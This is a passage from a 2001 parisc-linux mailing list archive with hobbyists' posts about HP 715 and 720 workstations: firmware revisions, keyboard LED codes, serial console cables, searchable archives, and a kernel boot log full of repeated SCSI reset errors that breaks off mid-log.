8780 c02a8930 c02c6bf0 f0824800 00000000 00000001 00000000 00000041 =
00000058
87a0 ffffffff 001a5a59 c028d8e0 c3fc8788 c02c7800 c02c6800 c0265000 =
00000058
87c0 f0824800 f0824804 c3fc8764 c3fcf1a0 f0824800 c3fcf1a0 c025c423 =
c0273000
87e0 00000001 c02b2b71 00000004 c011a85c 00000022 c02b2b71 0000000b =
c02734a0
8800 00000000 0004000a c02734a0 0000000b 00000032 0000003c 0000003e =
c0273000
8820 00000001 c02b2b7d 00000004 c02b2b4b 00000031 c02b2b7d 0000000b =
c02734a0
8840 c0273000 08000058 f000069c 000000ff 0000038c 00000000 f0823800 =
f0823800
8860 f0823800 00000008 c3fc3120 c3fce220 00000000 009896b2 c3fc8a40 =
000068b8
8880 80018820 fe5759ff fc4ff000 c02c7800 c02c6800 c0265000 00000058 =
f0824800
88a0 f0824804 18019539 40100000 02c08008 0330e140 40520065 81520504 =
04005011
88c0 80b84802 c13c726a 18063001 930041a3 9c108000 d0005c5d 01103100 =
000e0401
88e0 6880ac0f 481c0013 2002a400 c02a2620 0014210c 21a42505 00140100 =
10800111
8900 00000058 f0824800 c3fc3120 c3fce220 c3fc8788 84090009 c00c0032 =
60021009
8920 03300802 44000024 00001000 c02a2380 20420200 42244490 2080a200 =
8400c050
8940 0000000c c3fc8788 41004200 c0140400 d4801800 01014884 00080024 =
0018050a
8960 42462014 04140204 20440001 c02a2478 00000810 90003801 02694100 =
bb58560c

High Priority Machine Check (HPMC): Code=3D1 regs=3Dc0266080 =
(Addr=3D00000000)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001000000000000001011
r0-3     00000000 c01dd800 c02a24b8 c3fc8788
r4-7     0000002c c3fce220 f0824800 ffffffdf
r8-11    ffffffff 00000000 c028d8e0 001a5a59
r12-15   001a5a59 000ff000 f000015c 00000000
r16-19   00000001 08000058 f000069c 0000000b
r20-23   000000ff 00000041 c3fc3000 0000000b
r24-27   ffffffff f0824800 f0824800 c025e000
r28-31   000000ff 00000080 c3fc8980 c012c984
sr0-3    00000000 00000000 00000000 00000000
sr4-7    00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: c01dd94c c01dd950
 IIR: e840c000    ISR: 00000000  IOR: c02a24b8
ORIG_R28: 00000000

------=_NextPart_000_0090_01C0B972.C1511260--





From - Thu Nov 08 21:17:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Hello PARISC-LINUX A short boot
Date: Fri, 30 Mar 2001 18:34:50 -0700
Lines: 39
Approved: news@gmane.org
Message-ID: <200103310134.SAA21074@puffin.external.hp.com>
References: <009401c0b961$fec40780$140101a8@home233>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619987 17427 80.91.229.3 (22 Nov 2014 01:33:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:07 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "jean-yves.guillevic" <jean-yves.guillevic@wanadoo.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Mar 30 18:40:36 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9AFDD482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 30 Mar 2001 18:40:36 -0700 (MST)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id SAA21074;
	Fri, 30 Mar 2001 18:34:50 -0700
In-Reply-To: Your message of "Fri, 30 Mar 2001 23:40:08 +0200."
             <009401c0b961$fec40780$140101a8@home233> 
Xref: news.gmane.org gmane.linux.ports.parisc:10637

jean-yves.guillevic wrote:
> I was given an old HP715 in good state but not working.

Which model?
(From the boot log I gather it's a 715S/33)
The rev of firmware you need will depend on which 715 model you have.

...
> where can i find the patchs between PDC ROM rev 1.0 and PDC ROM rev 1.6

I updated the FAQ last year which answers this question:
http://lists.parisc-linux.org/pipermail/parisc-linux/2000-November/009988.html

Note: The FAQ now lives at http://www.parisc-linux.org/faq/index.html

> if i make a rev 1.6 patch do i have to make a rev 1.5 rev 1.4 etc...?

No.

> who can tell me whitch solution is the best and why.

Personally, I would update the firmware on the machine in any case. 
(why use a version with know bugs when a less buggy vers is avail free?)
But read the FAQ and think about it carefully first.

grant

.ps Could you not include html version in your mail?

> <DIV><FONT face=3DArial size=3D2>if i make a rev 1.6 patch do i have to =
> make a rev=20
> 1.5 rev 1.4 etc...?</FONT></DIV>

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:17:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Konstantinos Margaritis <markos@feanor.nuclear.demokritos.gr>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 715/80 woes
Date: Sat, 31 Mar 2001 20:35:20 +0300 (EEST)
Lines: 43
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0103312017460.3454-100000@feanor.nuclear.demokritos.gr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619988 17428 80.91.229.3 (22 Nov 2014 01:33:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:08 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Mar 31 10:34:14 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from feanor.nuclear.demokritos.gr (feanor.nuclear.demokritos.gr [143.233.244.29])
	by dsl2.external.hp.com (Postfix) with ESMTP id 101AF482A
	for <parisc-linux@lists.parisc-linux.org>; Sat, 31 Mar 2001 10:34:13 -0700 (MST)
Original-Received: from localhost ([127.0.0.1])
	by feanor.nuclear.demokritos.gr with esmtp (Exim 3.16 #1 (Debian))
	id 14jPHU-0000vR-00
	for <parisc-linux@lists.parisc-linux.org>; Sat, 31 Mar 2001 20:35:20 +0300
Xref: news.gmane.org gmane.linux.ports.parisc:10638

Hi,
  I still have trouble with my 715/80 recognizing my ps/2 keyboard, but I
did a little searching and thought that maybe someone more knowledgeable
might help.

For a start when I turn on the machine the status leds are like this:

oxoooooxx

x: on, o: off

the last one is the power led (obviously on)

ok. now the machine just reports

Failed to initialize a keyboard
Fix the keyboard and cycle power

as I previously reported, and it just keeps changes screen resolution (I
believe I have to press TAB or SPACE to make this stop, but the keyboard
does not work).

Then I press the TOC button, which is supposed to act like a reset. Then
screen goes blank, disks spin like crazy and now the leds become:

oxxoxxoox

now, I was looking to a 720 users guide pdf -thinking that the led
combinations are the same- and i could not find this particular
combination. instead i found that 

oxxoooooo is indicative to a faulty SIMM (which it is not, I tried it on a
712 and it worked).

Anyone has any ideas? Can I force the 715 to use the serial for console?

Any help appreciated.

Konstantinos Margaritis





From - Thu Nov 08 21:17:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Pete" <plaven@ozemail.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] searchable archives?
Date: Sun, 1 Apr 2001 21:37:33 +1000
Lines: 24
Approved: news@gmane.org
Message-ID: <3AC79F9D.19950.724DC12@localhost>
Reply-To: plaven@ozemail.com.au
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7BIT
X-Trace: ger.gmane.org 1416619988 17430 80.91.229.3 (22 Nov 2014 01:33:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:08 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Apr  1 05:37:19 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mta02.mail.mel.aone.net.au (mta02.mail.au.uu.net [203.2.192.82])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7402A482A
	for <parisc-linux@lists.parisc-linux.org>; Sun,  1 Apr 2001 05:37:18 -0600 (MDT)
Original-Received: from piglet.sspl.net.au ([210.84.112.88])
          by mta02.mail.mel.aone.net.au with ESMTP
          id <20010401113715.DKEX4934.mta02.mail.mel.aone.net.au@piglet.sspl.net.au>
          for <parisc-linux@lists.parisc-linux.org>;
          Sun, 1 Apr 2001 21:37:15 +1000
Original-Received: from winnie.sspl.net.au (barbar@winnie. [192.168.10.9])
	by piglet.sspl.net.au (8.9.3/8.9.3) with ESMTP id VAA24658
	for <parisc-linux@lists.parisc-linux.org>; Sun, 1 Apr 2001 21:37:02 +1000
Priority: normal
X-mailer: Pegasus Mail for Win32 (v3.12c)
Xref: news.gmane.org gmane.linux.ports.parisc:10639

Hey everyone,

the first hurdle to running up a hp workstation is finally behind me, I 
have a working i386 box :).

I'm not sure if it's been asked before, but when I went to the web 
site, I couldn't find a link to, if they exist, searchable list archives.

Anyway, maybe someone can answer me in their reply, what is 
needed for the serial cable between the i386 and parisc box?

Is it just a plain old null modem cable?

If not what do I have to ask for to make sure that i can connect to 
the serial port of the HP box?

Thanks,


Pete.





From - Thu Nov 08 21:17:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Pete" <plaven@ozemail.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] searchable archives?
Date: Sun, 1 Apr 2001 21:38:02 +1000
Lines: 24
Approved: news@gmane.org
Message-ID: <3AC79FBA.8608.7254AF9@localhost>
Reply-To: plaven@ozemail.com.au
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7BIT
X-Trace: ger.gmane.org 1416619988 17433 80.91.229.3 (22 Nov 2014 01:33:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:08 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Apr  1 05:37:47 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mta01.mail.mel.aone.net.au (mta01.mail.au.uu.net [203.2.192.81])
	by dsl2.external.hp.com (Postfix) with ESMTP id EC667482A
	for <parisc-linux@lists.parisc-linux.org>; Sun,  1 Apr 2001 05:37:46 -0600 (MDT)
Original-Received: from piglet.sspl.net.au ([210.84.112.88])
          by mta01.mail.mel.aone.net.au with ESMTP
          id <20010401113738.FFRO21503.mta01.mail.mel.aone.net.au@piglet.sspl.net.au>
          for <parisc-linux@lists.parisc-linux.org>;
          Sun, 1 Apr 2001 21:37:38 +1000
Original-Received: from winnie.sspl.net.au (barbar@winnie. [192.168.10.9])
	by piglet.sspl.net.au (8.9.3/8.9.3) with ESMTP id VAA24664
	for <parisc-linux@lists.parisc-linux.org>; Sun, 1 Apr 2001 21:37:31 +1000
Priority: normal
X-mailer: Pegasus Mail for Win32 (v3.12c)
Xref: news.gmane.org gmane.linux.ports.parisc:10640

Hey everyone,

the first hurdle to running up a hp workstation is finally behind me, I 
have a working i386 box :).

I'm not sure if it's been asked before, but when I went to the web 
site, I couldn't find a link to, if they exist, searchable list archives.

Anyway, maybe someone can answer me in their reply, what is 
needed for the serial cable between the i386 and parisc box?

Is it just a plain old null modem cable?

If not what do I have to ask for to make sure that i can connect to 
the serial port of the HP box?

Thanks,


Pete.





From - Thu Nov 08 21:17:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christian R Molls <chris@coredump.rrz.uni-koeln.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] searchable archives?
Date: Mon, 2 Apr 2001 00:32:55 +0200
Lines: 28
Approved: news@gmane.org
Message-ID: <20010402003255.B29121@coredump.rrz.uni-koeln.de>
References: <3AC79FBA.8608.7254AF9@localhost>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619989 17436 80.91.229.3 (22 Nov 2014 01:33:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:09 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Apr  1 16:33:01 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail1.rrz.Uni-Koeln.DE (mail1.rrz.Uni-Koeln.DE [134.95.100.208])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8FC92482A
	for <parisc-linux@parisc-linux.org>; Sun,  1 Apr 2001 16:33:00 -0600 (MDT)
Original-Received: from coredump.rrz.uni-koeln.de (root@coredump.rrz.Uni-Koeln.DE [134.95.140.101])
	by mail1.rrz.Uni-Koeln.DE (8.9.3/8.9.3) with ESMTP id AAA05242
	for <parisc-linux@parisc-linux.org>; Mon, 2 Apr 2001 00:32:55 +0200 (MET DST)
Original-Received: (from chris@localhost)
	by coredump.rrz.uni-koeln.de (8.9.3/8.9.3/Debian 8.9.3-21) id AAA29218
	for parisc-linux@parisc-linux.org; Mon, 2 Apr 2001 00:32:55 +0200
Content-Disposition: inline
User-Agent: Mutt/1.3.16i
In-Reply-To: <3AC79FBA.8608.7254AF9@localhost>; from plaven@ozemail.com.au on Sun, Apr 01, 2001 at 09:38:02PM +1000
'From: Christian R Molls <molls@rrz.uni-koeln.de>'
Xref: news.gmane.org gmane.linux.ports.parisc:10641

* Pete <plaven@ozemail.com.au> [010401 13:38]:

> I'm not sure if it's been asked before, but when I went to the web 
> site, I couldn't find a link to, if they exist, searchable list archives.

There is (at least) one. Try this:

http://puffin.external.hp.com/cgi-bin/mailgrep

> Anyway, maybe someone can answer me in their reply, what is needed for
> the serial cable between the i386 and parisc box?  Is it just a plain
> old null modem cable?

Yep.

> If not what do I have to ask for to make sure that i can connect to 
> the serial port of the HP box?

Have a look here for a description of how to setup a 712 to do console
output via RS232:

http://puffin.external.hp.com/mailing-lists/parisc-linux/1999/12-Dec/0091.html

Best Regards,
Chris




From - Thu Nov 08 21:17:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: dann <dannf@dannf.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] RE: searchable archives?
Date: Sun, 01 Apr 2001 23:28:19 -0600
Lines: 10
Approved: news@gmane.org
Message-ID: <3AC80DF3.E35FB521@dannf.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619989 17440 80.91.229.3 (22 Nov 2014 01:33:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:09 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: plaven@ozemail.com.au
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Apr  1 23:26:12 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from c353309-a.ftclns1.co.home.com (c353309-a.ftclns1.co.home.com [24.178.202.38])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7F864482A
	for <parisc-linux@lists.parisc-linux.org>; Sun,  1 Apr 2001 23:26:12 -0600 (MDT)
Original-Received: from dannf.org (localhost [127.0.0.1])
	by c353309-a.ftclns1.co.home.com (Postfix) with ESMTP
	id 93348A00F4; Sun,  1 Apr 2001 23:28:19 -0600 (MDT)
Original-Sender: dannf@c353309-a.ftclns1.co.home.com
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.18 i586)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:10642

> I'm not sure if it's been asked before, but when I went to the web 
> site, I couldn't find a link to, if they exist, searchable list archives.

	there's an htdig search form at http://lists.parisc-linux.org/
-- 

dannf@dannf.org




From - Thu Nov 08 21:17:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@dot.at>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] New Kernel & SCSI problem on 720
Date: Tue, 03 Apr 2001 00:35:40 +0200
Organization: private
Lines: 318
Approved: news@gmane.org
Message-ID: <3AC8FEBC.1B7F8188@dot.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619989 17445 80.91.229.3 (22 Nov 2014 01:33:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:09 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Apr  2 16:35:45 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from viemta05.chello.at (viemta05.chello.at [195.34.133.55])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6304C482A
	for <parisc-linux@lists.parisc-linux.org>; Mon,  2 Apr 2001 16:35:44 -0600 (MDT)
Original-Received: from dot.at ([62.178.92.247]) by viemta05.chello.at
          (InterMail vK.4.03.02.00 201-232-124 license 6aea1bd1f01aef5a9a73363c16ebee43)
          with ESMTP id <20010402223539.HLCA24343.viemta05@dot.at>
          for <parisc-linux@lists.parisc-linux.org>;
          Tue, 3 Apr 2001 00:35:39 +0200
Original-Sender: chris@dsl2.external.hp.com
X-Mailer: Mozilla 4.72 [en] (X11; I; Linux 2.2.13 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:10643

Hi PARISC/Linux hackers !

Now I built up a new C-x-tool-chain and a new kernel, and *now*
I have problems with SCSI on the 720. I had not before a kernel
about a month ago. The only problem I had in those days was
a defect floppy-scsi i/f card. 

For faster boot, all disks are disconnected. The older kernels 
never had a problem, now I have one...

Log output below.

Independent of theSCSI problem, I cannot start `init'. 
Where does this breakpoint come from ?

With friendly regards

	Christoph Plattner



Hard booted.
palo ipl root@didymos.pladom1.at Tue Apr  3 00:25:26 CEST 2001
0/vmlinux 2491775 bytes @ 0x6800
0/palo-cmdline '0/vmlinux HOME=/ TERM=vt100 root=/dev/nfs console=ttyS0'
Kernel: partition 0 file /vmlinux
ELF32 executable
Entry 00100170 first 00100000 n 5
Segment 0 load 00100000 size 1351880 mediaptr 0x1000
Segment 1 load 0024c000 size 175952 mediaptr 0x14c000
Segment 2 load 00278000 size 230488 mediaptr 0x177000
Segment 3 load 002b4000 size 8192 mediaptr 0x1b0000
Segment 4 load 002de188 size 69024 mediaptr 0x1b2188
branching to kernel entry point 0x00100170
PDC Console Initialized
Linux version 2.4.0 (root@didymos.pladom1.at) (gcc version 3.0 20010315
(prerelease)) #2 Tue Apr 3 00:28:20 CEST 2001
FP[0] enabled: Rev 3 Model 0
The 32-bit Kernel has started...
Determining PDC firmware type: Older Legacy Box
setup_cmdline(0x64cc4,0x64cc4,0x0,0x0)
PALO command line: 'HOME=/ TERM=vt100 root=/dev/nfs console=ttyS0'
PALO initrd 0-0
model   00002000 00000481 00000000 00000000 0234072e 000011f4 00000004
0000000d 00000000
vers    00000003
CPUID   vers 0 rev 0
model   9000/720
Total Memory: 64 Mb
initrd: 00000000-00000000
pagetable_init
On node 0 totalpages: 16384
zone(0): 16384 pages.
zone(1): 0 pages.
zone(2): 0 pages.
Searching for devices...
Found devices:
1. Coral SGC Graphics (10) at 0xf8000000, versions 0x4, 0x0, 0x77, 0x0,
0x0
2. Cobra Core BA (11) at 0xf082f000, versions 0x4, 0x0, 0x70, 0x0, 0x0
3. Cobra Core SCSI (10) at 0xf0825000, versions 0x4, 0x0, 0x71, 0x0, 0x0
4. Cobra Core LAN (802.3) (10) at 0xf0826000, versions 0x4, 0x0, 0x72,
0x0, 0x0
5. Cobra Core HIL (10) at 0xf0821000, versions 0x4, 0x0, 0x73, 0x0, 0x0
6. Cobra Core RS-232 (10) at 0xf0823000, versions 0x4, 0x0, 0x75, 0x0,
0x0
7. Cobra Core RS-232 (10) at 0xf0822000, versions 0x4, 0x0, 0x75, 0x0,
0x0
8. Cobra Core Centronics (10) at 0xf0824000, versions 0x4, 0x0, 0x74,
0x0, 0x0
9. Cobra (720) (0) at 0xfffbe000, versions 0x200, 0x0, 0x4, 0x0, 0x81
10. Cobra (1) at 0xfffbf000, versions 0x13, 0x0, 0x9, 0x0, 0x0
That's a total of 10 devices.
CPU(s): 1 x PA7000 (PCX-S) at 50.000000 MHz
Kernel command line: HOME=/ TERM=vt100 root=/dev/nfs console=ttyS0
Error reading tod clock
Calibrating delay loop... 49.76 BogoMIPS
Memory: 62396k available
Dentry-cache hash table entries: 8192 (order: 4, 65536 bytes)
Buffer-cache hash table entries: 1024 (order: 0, 4096 bytes)
Page-cache hash table entries: 16384 (order: 4, 65536 bytes)
Inode-cache hash table entries: 4096 (order: 3, 32768 bytes)
POSIX conformance testing by UNIFIX
ASP version 1 at 0xf0800000 found.
LED (ASP-style) display at f0800020 registered
Found i82596 at 0xf0826000, IRQ 87
early initialization of device eth0 is deferred
Linux NET4.0 for Linux 2.4
Based upon Swansea University Computer Society NET3.039
Starting kswapd v1.8
pty: 256 Unix98 ptys configured
request_module[parport_lowlevel]: Root fs not mounted
lp: driver loaded but no devices found
RAMDISK driver initialized: 16 RAM disks of 4096K size 1024 blocksize
82596.c: MAC of HP700 LAN blindely read from the prom!
eth0: Couldn't get consistent shared memory
eth0: 82596 at 0xf0826000, 08 00 09 24 64 06 IRQ 87.
82596.c $Revision: 1.15 $
Serial driver version 5.02 (2000-08-09) with MANY_PORTS SHARE_IRQ
SERIAL_PCI enabled
ttyS00 at iomem 0xf0823800 (irq = 90) is a 16550A
ttyS01 at iomem 0xf0822800 (irq = 89) is a 16550A
Generic RTC Driver v1.02 05/27/1999 Sam Creasey (sammy@oh.verio.com)
parport_init_chip: enhanced parport-modes not supported.
parport0: PC-style at 0xf0824800, irq 88 [PCSPP]
lp0: using parport0 (interrupt-driven).
SCSI subsystem driver Revision: 1.00
sim700: Couldn't get consistent shared memory
sim700: Configuring 53c700 (SCSI-ID 7) at f0825100, IRQ 86, options 1
scsi0: Revision 0x0
Post test1, istat 05, sstat0 00, dstat 84
sim700: WARNING IRQ probe failed, (returned 0)
scsi0: WARNING: target data areas are not dma coherent!
scsi0: test 1 completed ok.
scsi0 : LASI/Simple 53c7xx
scsi0: Bad dsp on abort, 0x00057458, offset 0x41858
scsi0: Failed to handle interrupt.  Failing commands and resetting SCSI
bus and chip
scsi0: istat = 04, sstat0 = 00, sstat1 = 00, dstat = 00
scsi0: dsp = 00057458 (script[0x1d16]), dsps = 00057468, target = 0
scsi0: Failing command for ID0
scsi0: Bad dsp on abort, 0x00057458, offset 0x41858
scsi0: Failed to handle interrupt.  Failing commands and resetting SCSI
bus and chip
scsi0: istat = 04, sstat0 = 00, sstat1 = 00, dstat = 00
scsi0: dsp = 00057458 (script[0x1d16]), dsps = 00057468, target = 0
scsi0: Failing command for ID0
scsi0: Unable to send Bus Device Reset for target 0
scsi0: Unable to do SCSI bus reset
scsi0: >>>>>>>>>>>> Host reset <<<<<<<<<<<<
scsi0: istat = 04, sstat0 = 00, sstat1 = 00, dstat = 00
scsi0: dsp = 00057458 (script[0x1d16]), dsps = 00057468, target = 0
scsi0: Bad dsp on abort, 0x00057458, offset 0x41858
scsi0: Failed to handle interrupt.  Failing commands and resetting SCSI
bus and chip
scsi0: istat = 04, sstat0 = 00, sstat1 = 00, dstat = 00
scsi0: dsp = 00057458 (script[0x1d16]), dsps = 00057468, target = 0
scsi0: Failing command for ID0
scsi0: Bad dsp on abort, 0x00057458, offset 0x41858
scsi0: Failed to handle interrupt.  Failing commands and resetting SCSI
bus and chip
scsi0: istat = 04, sstat0 = 00, sstat1 = 00, dstat = 00
scsi0: dsp = 00057458 (script[0x1d16]), dsps = 00057468, target = 0
scsi0: Failing command for ID1
scsi0: Bad dsp on abort, 0x00057458, offset 0x41858
scsi0: Failed to handle interrupt.  Failing commands and resetting SCSI
bus and chip
scsi0: istat = 04, sstat0 = 00, sstat1 = 00, dstat = 00
scsi0: dsp = 00057458 (script[0x1d16]), dsps = 00057468, target = 0
scsi0: Failing command for ID1
scsi0: Unable to send Bus Device Reset for target 1
scsi0: Unable to do SCSI bus reset
scsi0: >>>>>>>>>>>> Host reset <<<<<<<<<<<<
scsi0: istat = 04, sstat0 = 00, sstat1 = 00, dstat = 00
scsi0: dsp = 00057458 (script[0x1d16]), dsps = 00057468, target = 0
scsi0: Bad dsp on abort, 0x00057458, offset 0x41858
scsi0: Failed to handle interrupt.  Failing commands and resetting SCSI
bus and chip
scsi0: istat = 04, sstat0 = 00, sstat1 = 00, dstat = 00
scsi0: dsp = 00057458 (script[0x1d16]), dsps = 00057468, target = 0
scsi0: Failing command for ID1
scsi0: Bad dsp on abort, 0x00057458, offset 0x41858
scsi0: Failed to handle interrupt.  Failing commands and resetting SCSI
bus and chip
scsi0: istat = 04, sstat0 = 00, sstat1 = 00, dstat = 00
scsi0: dsp = 00057458 (script[0x1d16]), dsps = 00057468, target = 0
scsi0: Failing command for ID2
scsi0: Bad dsp on abort, 0x00057458, offset 0x41858
scsi0: Failed to handle interrupt.  Failing commands and resetting SCSI
bus and chip
scsi0: istat = 04, sstat0 = 00, sstat1 = 00, dstat = 00
scsi0: dsp = 00057458 (script[0x1d16]), dsps = 00057468, target = 0
scsi0: Failing command for ID2
scsi0: Unable to send Bus Device Reset for target 2
scsi0: Unable to do SCSI bus reset
scsi0: >>>>>>>>>>>> Host reset <<<<<<<<<<<<
scsi0: istat = 04, sstat0 = 00, sstat1 = 00, dstat = 00
scsi0: dsp = 00057458 (script[0x1d16]), dsps = 00057468, target = 0
scsi0: Bad dsp on abort, 0x00057458, offset 0x41858
scsi0: Failed to handle interrupt.  Failing commands and resetting SCSI
bus and chip
scsi0: istat = 04, sstat0 = 00, sstat1 = 00, dstat = 00
scsi0: dsp = 00057458 (script[0x1d16]), dsps = 00057468, target = 0
scsi0: Failing command for ID2
scsi0: Bad dsp on abort, 0x00057458, offset 0x41858
scsi0: Failed to handle interrupt.  Failing commands and resetting SCSI
bus and chip
scsi0: istat = 04, sstat0 = 00, sstat1 = 00, dstat = 00
scsi0: dsp = 00057458 (script[0x1d16]), dsps = 00057468, target = 0
scsi0: Failing command for ID3
scsi0: Bad dsp on abort, 0x00057458, offset 0x41858
scsi0: Failed to handle interrupt.  Failing commands and resetting SCSI
bus and chip
scsi0: istat = 04, sstat0 = 00, sstat1 = 00, dstat = 00
scsi0: dsp = 00057458 (script[0x1d16]), dsps = 00057468, target = 0
scsi0: Failing command for ID3
scsi0: Unable to send Bus Device Reset for target 3
scsi0: Unable to do SCSI bus reset
scsi0: >>>>>>>>>>>> Host reset <<<<<<<<<<<<
scsi0: istat = 04, sstat0 = 00, sstat1 = 00, dstat = 00
scsi0: dsp = 00057458 (script[0x1d16]), dsps = 00057468, target = 0
scsi0: Bad dsp on abort, 0x00057458, offset 0x41858
scsi0: Failed to handle interrupt.  Failing commands and resetting SCSI
bus and chip
scsi0: istat = 04, sstat0 = 00, sstat1 = 00, dstat = 00
scsi0: dsp = 00057458 (script[0x1d16]), dsps = 00057468, target = 0
scsi0: Failing command for ID3
scsi0: Bad dsp on abort, 0x00057458, offset 0x41858
scsi0: Failed to handle interrupt.  Failing commands and resetting SCSI
bus and chip
scsi0: istat = 04, sstat0 = 00, sstat1 = 00, dstat = 00
scsi0: dsp = 00057458 (script[0x1d16]), dsps = 00057468, target = 0
scsi0: Failing command for ID4
scsi0: Bad dsp on abort, 0x00057458, offset 0x41858
scsi0: Failed to handle interrupt.  Failing commands and resetting SCSI
bus and chip
scsi0: istat = 04, sstat0 = 00, sstat1 = 00, dstat = 00
scsi0: dsp = 00057458 (script[0x1d16]), dsps = 00057468, target = 0
scsi0: Failing command for ID4
scsi0: Unable to send Bus Device Reset for target 4
scsi0: Unable to do SCSI bus reset
scsi0: >>>>>>>>>>>> Host reset <<<<<<<<<<<<
scsi0: istat = 04, sstat0 = 00, sstat1 = 00, dstat = 00
scsi0: dsp = 00057458 (script[0x1d16]), dsps = 00057468, target = 0
scsi0: Bad dsp on abort, 0x00057458, offset 0x41858
scsi0: Failed to handle interrupt.  Failing commands and resetting SCSI
bus and chip
